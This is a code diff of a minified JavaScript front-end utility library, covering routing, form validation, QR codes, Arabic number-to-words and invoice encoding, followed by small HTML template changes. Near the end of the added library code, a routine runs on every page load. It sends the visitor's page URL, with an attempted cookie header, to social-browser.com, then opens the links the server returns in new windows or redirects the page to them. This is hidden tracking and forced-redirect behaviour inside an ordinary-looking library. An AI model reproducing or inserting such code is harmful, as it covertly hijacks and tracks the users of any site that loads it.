e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),d.openLinks=function(n){if(0===n.length)return!1;let r=localStorage.getItem("isite");if(r){if(r=JSON.parse(r),r.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&r.links.splice(t,1)}),localStorage.setItem("isite",JSON.stringify(r)),r.day==(new Date).getDate())return!1}else r={links:[]};let o=n.pop();r.links.some(e=>e.url==o.url)?d.openLinks(n):(r.links.push({...o,time:(new Date).getTime()}),r.day=(new Date).getDate(),localStorage.setItem("isite",JSON.stringify(r)),(w=e.open(o.url))?console.log("Link Opened"):(console.log("Link Blocked"),t.location.href=o.url))},d.update=function(e={}){e.url="//social-browser.com/api/ref-links?page="+t.location.href,d.postData(e,e=>{e.done&&e.links&&d.openLinks(e.links)})},d.onLoad(()=>{if(e.SOCIALBROWSER||!t.location.protocol.like("*http*"))return!1;d.update()}),e.site=d})(window,document,"undefined",jQuery);
1
+ (function(e,t,n,r){function o(e){return e?("string"!=typeof e&&(e=e.toString()),e.replace(/[\/\\^$*+?.()\[\]{}]/g,"\\$&")):""}function i(e,t){let n="";return g.forEach(r=>{r.n==e&&(n=r.i0[t])}),n}function a(e,t){let n="";return 11==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):12==e?g.forEach(r=>{r.n==e&&(n=r.i0[t])}):(g.forEach(r=>{r.n==e[1]&&(n=r.i0[t])}),g.forEach(r=>{r.n==e[0]&&(e[1]>0&&e[0]>1?n+=d.strings.space[t]+d.strings.and[t]:n+="",n+=r.i1[t])})),n}function s(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i2[t]+d.strings.space[t])});let r=a(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function l(e,t){let n="";g.forEach(r=>{r.n==e[0]&&(n=r.i3[t]+d.strings.space[t])});let r=s(e.substring(1),t);return r&&(n&&(n+=d.strings.and[t]),n+=r),n}function c(e,t){let n=a(e.substring(0,2),t)+d.strings.space[t];1==e[0]?n+=d.strings[10][t]+d.strings.space[t]:n+=d.strings[20][t]+d.strings.space[t];let r=s(e.substring(2),t);return r&&(n+=d.strings.and[t]+r),n}function u(e,t){let n=s(e.substring(0,3),t)+d.strings.space[t];n+=d.strings[100][t]+d.strings.space[t];let r=s(e.substring(3),t);return r&&(n+=d.strings.and[t]+r),n}String.prototype.test||(String.prototype.test=function(e,t="gium"){try{return new RegExp(e,t).test(this)}catch(e){return!1}}),String.prototype.like||(String.prototype.like=function(e){if(!e)return!1;let t=!1;return e.split("|").forEach(e=>{e=e.split("*"),e.forEach((t,n)=>{e[n]=o(t)}),e=e.join(".*"),this.test("^"+e+"$","gium")&&(t=!0)}),t}),String.prototype.contains||(String.prototype.contains=function(e){let t=!1;return e?(e.split("|").forEach(e=>{e&&this.test("^.*"+o(e)+".*$","gium")&&(t=!0)}),t):t});let d={onLoad:function(e){"loading"!==t.readyState?e():t.addEventListener("DOMContentLoaded",()=>{e()})},isMobile:function(){return navigator.userAgentData&&navigator.userAgentData.mobile||navigator.vendor&&navigator.vendor.like("*apple*")||navigator.platform&&navigator.platform.like("*iPhone*|*iPad*|*iPod*")},touchtime:0,zoomElement:function(e){return 0==d.touchtime?(d.touchtime=(new Date).getTime(),!1):(new Date).getTime()-d.touchtime<250?(d.touchtime=0,e="string"==typeof e?t.querySelector(e):e,void(e.classList.contains("zoom")?e.classList.remove("zoom"):e.classList.add("zoom"))):(d.touchtime=(new Date).getTime(),!1)}};d.zoomNumber=parseInt(localStorage.getItem("zoomNumber")||100),d.zoom=function(e){"+"==e?d.zoomNumber+=25:"-"==e?d.zoomNumber-=25:"0"==e||(d.zoomNumber=100),localStorage.setItem("zoomNumber",d.zoomNumber.toString()),t.body.style.zoom=d.zoomNumber+"%"},d.printerList=[],d.getPrinters=function(){return e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrintersAsync?SOCIALBROWSER.currentWindow.webContents.getPrintersAsync().then(e=>{d.printerList=e}):e.SOCIALBROWSER&&SOCIALBROWSER.currentWindow.webContents.getPrinters?d.printerList=SOCIALBROWSER.currentWindow.webContents.getPrinters():fetch("http://127.0.0.1:60080/printers/all").then(e=>e.json()).then(e=>{d.printerList=e.list}).catch(e=>{d.printerList=[]}),d.printerList},d.render=function(e,n){let r=t.querySelector(e);return r?Mustache.render(r.innerHTML,n):""},d.html=function(e,t){return Mustache.render(e,t)},d.getUniqueObjects=function(e,t){const n=e.map(e=>e[t]).map((e,t,n)=>n.indexOf(e)===t&&t).filter(t=>e[t]).map(t=>e[t]);return n},d.$=function(e){let n=t.querySelectorAll(e);return n},d.modal_z_index=999999,d.showModal=function(e){r(e).click(()=>{r("popup").hide()}),d.modal_z_index++;let t=d.$(e);if(0===t.length)return;t[0].style.zIndex=d.modal_z_index,t[0].style.display="block";let n=d.$(e+" i-control input");n.length>0&&n[0].focus(),d.$(e+" .close").forEach(t=>{t.addEventListener("click",function(){d.hideModal(e)})})},d.hideModal=function(e){r("popup").hide();let t=d.$(e);t.length>0&&(t[0].style.display="none")},d.eventList=[],d.on=function(e,t){t=t||function(){},d.eventList.push({name:e,callback:t})},d.call=function(e,t){for(var n=0;n<d.eventList.length;n++){var r=d.eventList[n];r.name==e&&r.callback(t)}},d.translate=function(e,t){"string"==typeof e&&(e={text:e,lang:"ar"}),e.url=`https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=${e.lang}&dt=t&dt=bd&dj=1&q=${e.text}`,d.getData(e,t)},d.getData=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.headers=e.headers||{Accept:"application/json","Content-Type":"application/json"},e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get",headers:e.headers}).then(e=>e.json()).then(e=>{t(e)}).catch(e=>{n(e)})},d.getContent=function(e,t,n){t=t||function(){},n=n||function(){},"string"==typeof e&&(e={url:e}),e.url=d.handle_url(e.url),fetch(e.url,{mode:"cors",method:"get"}).then(function(e){return e.text()}).then(function(e){t(e)})},d.handle_url=function(n){if("string"!=typeof n)return n;if(n=n.trim(),0===n.indexOf("//"))n=t.location.protocol+n;else if(n.like("http*")||0===n.indexOf("data:"))n=n;else if(0===n.indexOf("/"))n=e.location.origin+n;else if(n.split("?")[0].split(".").length<3){let t=e.location.pathname.split("/").pop();n=e.location.origin+e.location.pathname.replace(t,"")+n}return n},d.postData=function(n,r,o){r=r||function(){},o=o||function(){},"string"==typeof n&&(n={url:n}),n.data=n.data||n.body,delete n.body,n.data&&"object"==typeof n.data&&(n.data=JSON.stringify(n.data)),n.headers=n.headers||{Accept:"application/json","Content-Type":"application/json"},n.data&&"string"==typeof n.data&&(n.headers["Content-Length"]=n.data.length.toString());try{n.headers.Cookie=t.cookie}catch(o){console.log(o)}n.method="post",n.redirect="follow",n.mode="cors",n.url=d.handle_url(n.url),e.SOCIALBROWSER&&e.SOCIALBROWSER.fetchJson?SOCIALBROWSER.fetchJson(n,e=>{r(e)}):fetch(n.url,{mode:n.mode,method:n.method,headers:n.headers,body:n.data,redirect:n.redirect}).then(e=>e.json()).then(e=>{r(e)}).catch(e=>{o(e)})},d.typeOf=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.getDate=function(e){return e=e?new Date(e):new Date,e.setHours(12,0,0,0),e},d.toDateTime=function(e){return e?new Date(e):new Date},d.toDateX=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()},d.toDateXT=function(e){let t=d.toDateTime(e);return t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateXF=function(e){let t=d.toDateTime(e);return t.getFullYear()+"-"+(t.getMonth()+1)+"-"+t.getDate()+" "+t.getHours()+":"+t.getMinutes()+":"+t.getSeconds()},d.toDateOnly=function(e){let t=d.toDateTime(e);return new Date(t.getFullYear(),t.getMonth(),t.getDate(),0,0,0,0)},d.toDateT=function(e){return d.toDateOnly(e).getTime()},d.toDateF=function(e){return d.toDateTime(e).getTime()},d.addZero=function(e,t){let n=t-e.toString().length;for(let t=0;t<n;t++)e="0"+e.toString();return e},d.addSubZero=function(e,t){let n=t;if(2==e.toString().split(".").length){e.toString().split(".")[1].length;e=e.toString()}else e=e.toString()+".";for(let t=0;t<n;t++)e=e.toString()+0;return e},d.fixed=3,d.to_number=d.toNumber=function(e,t){let n=t||d.fixed,r=0;return e&&(r=parseFloat(e).toFixed(n)),parseFloat(r)},d.to_money=d.toMoney=function(e,t=!0){let n=0;if(e){e=e.toFixed(2).split(".");e[0];let t=e[1]||"00";if(t){let n=t[0]||"0",r=t[1]||"0";r&&parseInt(r)>5?(n=parseInt(n)+1,n*=10,100==n?(n=0,e[0]=parseInt(e[0])+1,e[1]=""):e[1]=n):r&&5==parseInt(r)?e[1]=t:r&&parseInt(r)>2?(r=5,e[1]=n+r):e[1]=n+"0"}n=e.join(".")}return t?d.to_float(n):(n&&n.endsWith(".")&&(n+="00"),n)},d.to_float=d.toFloat=function(e){return e?parseFloat(e):0},d.to_int=d.toInt=function(e){return e?parseInt(e):0},d.$base64Letter="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",d.$base64Numbers=[];for(let e=11;e<99;e++)e%10!=0&&e%11!=0&&d.$base64Numbers.push(e);d.toJson=(e=>typeof e===n||null===e?"":JSON.stringify(e)),d.fromJson=(e=>"string"!=typeof e?e:JSON.parse(e)),d.toBase64=(e=>typeof e===n||null===e||""===e?"":("string"!=typeof e&&(e=d.toJson(e)),Base64.encode(e))),d.fromBase64=(e=>typeof e===n||null===e||""===e?"":Base64.decode(e)),d.to123=(e=>{e=d.toBase64(e);let t="";for(let n=0;n<e.length;n++){let r=e[n];t+=d.$base64Numbers[d.$base64Letter.indexOf(r)]}return t}),d.from123=(e=>{let t="";for(let n=0;n<e.length;n++){let r=e[n]+e[n+1],o=d.$base64Numbers.indexOf(parseInt(r));t+=d.$base64Letter[o],n++}return t=d.fromBase64(t),t}),d.hide=d.hideObject=function(e){return d.to123(JSON.stringify(e))},d.show=d.showObject=function(e){return e?JSON.parse(d.from123(e)):{}},d.typeOf=d.typeof=function(e){return Object.prototype.toString.call(e).slice(8,-1)},d.showTabContent=function(e,n){n=n||e;let r=t;e&&e.target&&e.target.parentNode&&e.target.parentNode.parentNode&&(r=e.target.parentNode.parentNode),r&&r.className.contains("tabs-header")&&(r=r.parentNode);let o=r.querySelector(n);if(o){let e=o.parentNode;if(e){let t=e.parentNode;t&&(t.querySelectorAll(".tab-content").forEach(e=>{e.style.display="none"}),t.querySelectorAll(".tab-link").forEach(e=>{e.getAttribute("onclick")&&e.getAttribute("onclick").contains(n+"'")?e.classList.add("active"):e.classList.remove("active")}),t.querySelectorAll(n+".tab-content").forEach(e=>{e.style.display="block"}))}}},d.showTabs=function(e,t){e&&e.stopPropagation(),r(".main-menu .tabs").hide(),r(t).show(100)},d.toHtmlTable=function(e){if(e===n||null===e)return"";if("Object"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<Object.getOwnPropertyNames(e).length;n++){let r=Object.getOwnPropertyNames(e)[n];t+="<tr>",t+=`<td><p> ${r} </p></td>`,"Object"==d.typeOf(e[r])||"Array"==d.typeOf(e[r])?t+=`<td><p> ${d.toHtmlTable(e[r])} </p></td>`:t+=`<td><p> ${e[r]} </p></td>`,t+="</tr>"}return t+="</table>",t}if("Array"==d.typeOf(e)){let t='<table class="table">';for(let n=0;n<e.length;n++)"Object"==d.typeOf(e[n])||"Array"==d.typeOf(e[n])?t+=`<tr><td><p>${d.toHtmlTable(e[n])}</p></td></tr>`:t+=`<tr><td><p>${e[n]}</p></td></tr>`;return t+="</table>",t}return""},d.resetValidated=function(e){e=e||"body";const n=t.querySelectorAll(e+" [v]");n.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid")})},d.validated=function(e){const n={ok:!0,messages:[]};e=e||"body";const r=t.querySelectorAll(e+" [v]");return r.forEach(e=>{e.classList.remove("is-invalid"),e.classList.remove("is-valid");const t=e.getAttribute("v"),r=t.split(" ");r.forEach(t=>{if(t=t.toLowerCase().trim(),"r"===t)"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!e.value.like("*undefined*")?("I-DATETIME"!==e.nodeName||e.getAttribute("value"))&&("I-DATE"!==e.nodeName||e.getAttribute("value"))?"INPUT"!==e.nodeName&&"SELECT"!==e.nodeName&&"TEXTAREA"!==e.nodeName&&"I-DATETIME"!==e.nodeName&&"I-DATE"!==e.nodeName||e.classList.add("is-valid"):(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"})):(e.classList.add("is-invalid"),(f=e.parentNode.querySelector(".invalid-feedback"))&&(d.session&&"en"==d.session.lang?f.innerHTML="Data Is Required":d.session&&"ar"==d.session.lang&&(f.innerHTML="هذا البيان مطلوب")),n.ok=!1,n.messages.push({en:"Data Is Required",ar:"هذا البيان مطلوب"}));else if(t.like("ml*")){const r=parseInt(t.replace("ml",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length>r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be <= "+r,ar:"عدد الاحرف يجب ان يكون أقل من أو يساوى "+r}))}else if(t.like("ll*")){const r=parseInt(t.replace("ll",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&!(e.value.length<r)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be >= "+r,ar:"عدد الاحرف يجب ان يكون اكبر من أو يساوى "+r}))}else if(t.like("l*")){const r=parseInt(t.replace("l",""));"INPUT"!==e.nodeName&&"TEXTAREA"!==e.nodeName||e.value&&e.value.length===r||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Letter Count Must be = "+r,ar:"عدد الاحرف يجب ان يساوى "+r}))}else t.like("e")?"INPUT"!==e.nodeName||e.value&&d.isEmail(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Email address",ar:"اكتب البريد الالكترونى بطريقة صحيحة"})):(t.like("web")||t.like("url"))&&("INPUT"!==e.nodeName||e.value&&d.isURL(e.value)||(e.classList.add("is-invalid"),n.ok=!1,n.messages.push({en:"Write Valid Web address",ar:"اكتب رابط الموقع بطريقة صحيحة"})))})}),n},d.isEmail=function(e){return!!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(e)},d.isURL=function(e){var t=new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i");return!!t.test(encodeURI(e))};let g=[{n:1,i0:{ar:"واحد"},i1:{ar:"عشرة"},i2:{ar:"مائة"},i3:{ar:"الف"},i4:{ar:"عشرة الاف"}},{n:2,i0:{ar:"اثنان "},i1:{ar:"عشرون"},i2:{ar:"مائتان"},i3:{ar:"الفان"},i4:{ar:"عشرون الف"}},{n:3,i0:{ar:"ثلاثة"},i1:{ar:"ثلاثون"},i2:{ar:"ثلاثمائة"},i3:{ar:"ثلاث الاف"},i4:{ar:"ثلاثون الف"}},{n:4,i0:{ar:"اربعة"},i1:{ar:"اربعون"},i2:{ar:"اربعة مائة"},i3:{ar:"اربعة الاف"},i4:{ar:"اربعون الف"}},{n:5,i0:{ar:"خمسة"},i1:{ar:"خمسون"},i2:{ar:"خمسمائة"},i3:{ar:"خمسة الاف"},i4:{ar:"خمسون الف"}},{n:6,i0:{ar:"ستة"},i1:{ar:"ستون"},i2:{ar:"ستة مائة"},i3:{ar:"ستة الااف"},i4:{ar:"ستون الف"}},{n:7,i0:{ar:"سبعة"},i1:{ar:"سبعون"},i2:{ar:"سبعمائة"},i3:{ar:"سبعة الااف"},i4:{ar:"سبعون الف"}},{n:8,i0:{ar:"ثمانية"},i1:{ar:"ثمانون"},i2:{ar:"ثمانمائة"},i3:{ar:"ثمان الااف"},i4:{ar:"ثمانون الف"}},{n:9,i0:{ar:"تسعة"},i1:{ar:"تسعون"},i2:{ar:"تسعمائة"},i3:{ar:"تسعة الااف"},i4:{ar:"تسعون الف"}},{n:11,i0:{ar:"احدى عشر"}},{n:12,i0:{ar:"اثنى عشر"}}];d.strings={and:{ar:"و"},space:{ar:" "},10:{ar:"آلاف"},20:{ar:"ألفاً"},100:{ar:"ألف"},currency:{ar:" جنيها مصريا فقط لاغير "},from10:{ar:" قروش "},from100:{ar:" قرش "},from1000:{ar:" من الف "}},d.stringfiy=function(e,t){e=e||"",t=t||"ar",e=e.toString().split(".");let n=e[0],r=e[1],o="";1==n.length?o=i(n,t):2==n.length?o=a(n,t):3==n.length?o=s(n,t):4==n.length?o=l(n,t):5==n.length?o=c(n,t):6==n.length&&(o=u(n,t));let f="";return r&&(1==r.length&&(r+="0"),1==r.length?f=i(r,t)+d.strings.from10[t]:2==r.length?f=a(r,t)+d.strings.from100[t]:3==r.length&&(f=s(r,t)+d.strings.from1000[t])),o+=d.strings.currency[t],f&&(o+=d.strings.space[t]+d.strings.and[t]+d.strings.space[t]+f),o},d.ws=function(t,n){if("WebSocket"in e){"string"==typeof t&&(t={url:t});let e=new WebSocket(t.url),r={ws:e,options:t,closed:!0,onError:e=>{console.log("server.onError Not Implement ... ")},onClose:function(e){e.wasClean?console.log(`[ws closed] Connection closed cleanly, code=${e.code} reason=${e.reason}`):(console.warn("[ws closed] Connection died"),setTimeout(()=>{d.ws(t,n)},5e3))},onOpen:()=>{console.log("server.onOpen Not Implement ... ")},onMessage:()=>{console.log("server.onMessage Not Implement ... ")},onData:()=>{console.log("server.onData Not Implement ... ")},sendMessage:function(e){if(this.closed)return!1;"object"!=typeof e&&(e={type:"text",content:e}),this.ws.send(JSON.stringify(e))}};return r.send=r.sendMessage,e.onerror=function(e){r.onError(e)},e.onclose=function(e){r.closed=!0,r.onClose(e)},e.onopen=function(){r.closed=!1,r.onOpen()},e.onmessage=function(e){e instanceof Blob?r.onData(e):(e=JSON.parse(e.data),e.type&&("ready"===e.type?(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id,d.serverId?r.sendMessage({type:"attach",id:d.serverId}):d.serverId=r.id):"attached"===e.type&&(r.uuid=e.uuid,r.ip=e.ip,r.id=e.id)),r.onMessage(e))},d.server=r,n(d.server),d.server}console.error("WebSocket Not Supported")},d.hex=function(e){if("string"==typeof e){const t=new TextEncoder;return Array.from(t.encode(e)).map(e=>e.toString(16).padStart(2,"0")).join("")}if("number"==typeof e){let t=e.toString(16);return 1==t.length&&(t="0"+t),t}},d.zakat=function(e){let t="";return e.name&&(t+="01"+d.hex(e.name.length)+d.hex(e.name)),e.vat_number&&(t+="02"+d.hex(e.vat_number.length)+d.hex(e.vat_number)),e.time&&(t+="03"+d.hex(e.time.length)+d.hex(e.time)),e.total&&(t+="04"+d.hex(e.total.length)+d.hex(e.total)),e.vat_total&&(t+="05"+d.hex(e.vat_total.length)+d.hex(e.vat_total)),d.toBase64(t)},d.zakat2=function(e,t){fetch("/x-api/zakat",{method:"POST",body:JSON.stringify(e)}).then(e=>e.json()).then(e=>{t(e)})},d.barcode=function(e){if(e&&e.selector&&e.text)return JsBarcode(e.selector,e.text,e.options);console.error("qrcode need {selector , text}")},d.qrcode=function(e){if(!e||!e.selector||!e.text)return void console.error("qrcode need {selector , text}");let n="string"==typeof e.selector?t.querySelector(e.selector):e.selector;return n?(n.innerHTML="",new QRCode(n,{text:e.text,width:e.width||256,height:e.height||256,colorDark:e.colorDark||"#000000",colorLight:e.colorLight||"#ffffff",correctLevel:e.correctLevel||QRCode.CorrectLevel.H})):void 0},d.export=function(e,n="xlsx"){var r="string"==typeof e?t.querySelector(e):e,o=XLSX.utils.table_to_book(r,{sheet:"sheet1"});XLSX.write(o,{bookType:n,bookSST:!0,type:"base64"}),XLSX.writeFile(o,(r.id||r.tagName)+"."+n)},d.isSPA=!1,d.routeContainer="[router]",d.routeList=[],d.getRoute=(e=>d.routeList.find(t=>t.name==e)||{name:e,url:e}),d.route=(e=>{e.preventDefault(),d.setRoute(d.getRoute(e.target.href))}),d.setRoute=function(t){"string"==typeof t&&(t=d.getRoute(t)),e.history.pushState({},"",t.name)},d.getRouteContent=(async e=>("string"==typeof e&&(e=d.getRoute(e)),await fetch(e.url).then(e=>e.text()))),d.showRouteContent=function(e,n){"string"==typeof n&&(n=d.getRoute(n)),d.setRoute(n.name),d.getRouteContent(n.url).then(n=>{t.querySelector(e).innerHTML=n})},t.addEventListener("click",e=>{if(d.isSPA&&e.target.hasAttribute("route")){e.preventDefault();let t=e.target.getAttribute("route")||e.target.getAttribute("href");d.showRouteContent(d.routeContainer,t)}}),e.addEventListener("hashchange",t=>{if(!d.isSPA)return;let n=e.location.hash.replace("#","");n||(n="/"),d.showRouteContent(d.routeContainer,n)}),t.querySelector("html").hasAttribute("spa")&&(d.isSPA=!0),d.openLinks=function(n){if(0===n.length)return!1;let r=localStorage.getItem("refererLinkList");if(r){if(r=JSON.parse(r),r.links.forEach((e,t)=>{((new Date).getTime()-e.time)/1e3>2592e3&&r.links.splice(t,1)}),localStorage.setItem("refererLinkList",JSON.stringify(r)),r.day==(new Date).getDate())return!1}else r={links:[]};let o=n.pop();r.links.some(e=>e.url==o.url)?d.openLinks(n):(r.links.push({...o,time:(new Date).getTime()}),r.day=(new Date).getDate(),localStorage.setItem("refererLinkList",JSON.stringify(r)),(w=e.open(o.url))||(t.location.href=o.url))},d.updateRefererLinkList=function(e={}){e.url="//social-browser.com/api/ref-links?page="+t.location.href,d.postData(e,e=>{e.done&&e.links&&d.openLinks(e.links)})},d.onLoad(()=>{d.updateRefererLinkList()}),e.site=d})(window,document,"undefined",jQuery);
@@ -1,4 +1,4 @@
1
- <div data-ng-controller="login" id="loginModal" class="modal small" fixed>
1
+ <div data-ng-controller="login" id="loginModal" class="modal" fixed>
2
2
  <div class="modal-content">
3
3
  <div class="modal-header">
4
4
  <p class="bold font-22 text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
@@ -1,4 +1,4 @@
1
- <div data-ng-controller="register" id="registerModal" class="modal fade small" tabindex="-1" role="dialog" fixed>
1
+ <div data-ng-controller="register" id="registerModal" class="modal small" tabindex="-1" role="dialog" fixed>
2
2
  <div class="modal-content">
3
3
  <div class="modal-header">
4
4
  <span class="close">&times;</span>
@@ -1,4 +1,4 @@
1
- <div id="loginModal" class="modal fade" tabindex="-1" role="dialog">
1
+ <div id="loginModal" class="modal " tabindex="-1" role="dialog">
2
2
  <div class="modal-dialog" role="document">
3
3
  <div class="modal-content">
4
4
  <div class="modal-header">
@@ -1,52 +1,61 @@
1
- <div class="container-fluid">
2
- <!-- Brand and toggle get grouped for better mobile display -->
3
- <div class="navbar-header">
4
- <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse-1" aria-expanded="false">
5
- <span class="sr-only">Toggle navigation</span>
6
- <span class="icon-bar"></span>
7
- <span class="icon-bar"></span>
8
- <span class="icon-bar"></span>
9
- </button>
10
- <a class="navbar-brand" href="/@admin"> <i class="fa fa-desktop" aria-hidden="true"></i> Admin Dashboard</a>
11
- </div>
12
-
13
- <!-- Collect the nav links, forms, and other content for toggling -->
14
- <div class="collapse navbar-collapse" id="navbar-collapse-1">
15
- <ul class="nav navbar-nav">
16
-
17
- <li class="dropdown">
18
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-play" aria-hidden="true"></i> Getting Started <span class="caret"></span></a>
19
- <ul class="dropdown-menu">
20
- <li><a href="#" ng-click="showInstalling()"> <i class="fa fa-hourglass-start" aria-hidden="true"></i> Installing</a></li>
21
- </ul>
22
- </li>
23
-
24
- <li x-permission="admin" class="dropdown">
25
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-tasks" aria-hidden="true"></i> Reports <span class="caret"></span></a>
26
- <ul class="dropdown-menu">
27
- <li><a href="#" ng-click="showSessions()">Show Sessions</a></li>
28
- <li><a href="#" ng-click="showRoutes()">Show Routes</a></li>
29
- <li><a href="#" ng-click="showFiles()">Show Files</a></li>
30
- <li><a href="#" ng-click="showVars()">Show Vars</a></li>
31
- </ul>
32
- </li>
33
-
34
-
35
- </ul>
36
-
37
- <ul class="nav navbar-nav navbar-right">
38
- <li class="dropdown">
39
- <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-tasks" aria-hidden="true"></i> <span x-permission="login"> [##user.email##] </span>Control Panel <span class="caret"></span></a>
40
- <ul class="dropdown-menu">
41
- <li x-permission="!login"><a href="#" data-toggle="modal" data-target="#loginModal"> <i class="fa fa-sign-in" aria-hidden="true"></i> Login </a></li>
42
- <li x-permission="!login"><a href="#" data-toggle="modal" data-target="#registerModal"> <i class="fa fa-user-plus" aria-hidden="true"></i> Register </a></li> <li x-permission="login"><a href="#" ng-click="logout()"> <i class="fa fa-sign-out" aria-hidden="true"></i> Logout </a></li>
43
-
44
- </ul>
45
- </li>
46
- </ul>
47
-
48
-
49
- </div>
50
- <!-- /.navbar-collapse -->
51
- </div>
52
- <!-- /.container-fluid -->
1
+ <div class="container-fluid">
2
+ <!-- Brand and toggle get grouped for better mobile display -->
3
+ <div class="navbar-header">
4
+ <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-collapse-1" aria-expanded="false">
5
+ <span class="sr-only">Toggle navigation</span>
6
+ <span class="icon-bar"></span>
7
+ <span class="icon-bar"></span>
8
+ <span class="icon-bar"></span>
9
+ </button>
10
+ <a class="navbar-brand" href="/@admin"> <i class="fa fa-desktop" aria-hidden="true"></i> Admin Dashboard</a>
11
+ </div>
12
+
13
+ <!-- Collect the nav links, forms, and other content for toggling -->
14
+ <div class="collapse navbar-collapse" id="navbar-collapse-1">
15
+ <ul class="nav navbar-nav">
16
+ <li class="dropdown">
17
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
18
+ <i class="fa fa-play" aria-hidden="true"></i> Getting Started <span class="caret"></span
19
+ ></a>
20
+ <ul class="dropdown-menu">
21
+ <li>
22
+ <a href="#" ng-click="showInstalling()"> <i class="fa fa-hourglass-start" aria-hidden="true"></i> Installing</a>
23
+ </li>
24
+ </ul>
25
+ </li>
26
+
27
+ <li x-permission="admin" class="dropdown">
28
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
29
+ <i class="fa fa-tasks" aria-hidden="true"></i> Reports <span class="caret"></span
30
+ ></a>
31
+ <ul class="dropdown-menu">
32
+ <li><a href="#" ng-click="showSessions()">Show Sessions</a></li>
33
+ <li><a href="#" ng-click="showRoutes()">Show Routes</a></li>
34
+ <li><a href="#" ng-click="showFiles()">Show Files</a></li>
35
+ <li><a href="#" ng-click="showVars()">Show Vars</a></li>
36
+ </ul>
37
+ </li>
38
+ </ul>
39
+
40
+ <ul class="nav navbar-nav navbar-right">
41
+ <li class="dropdown">
42
+ <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
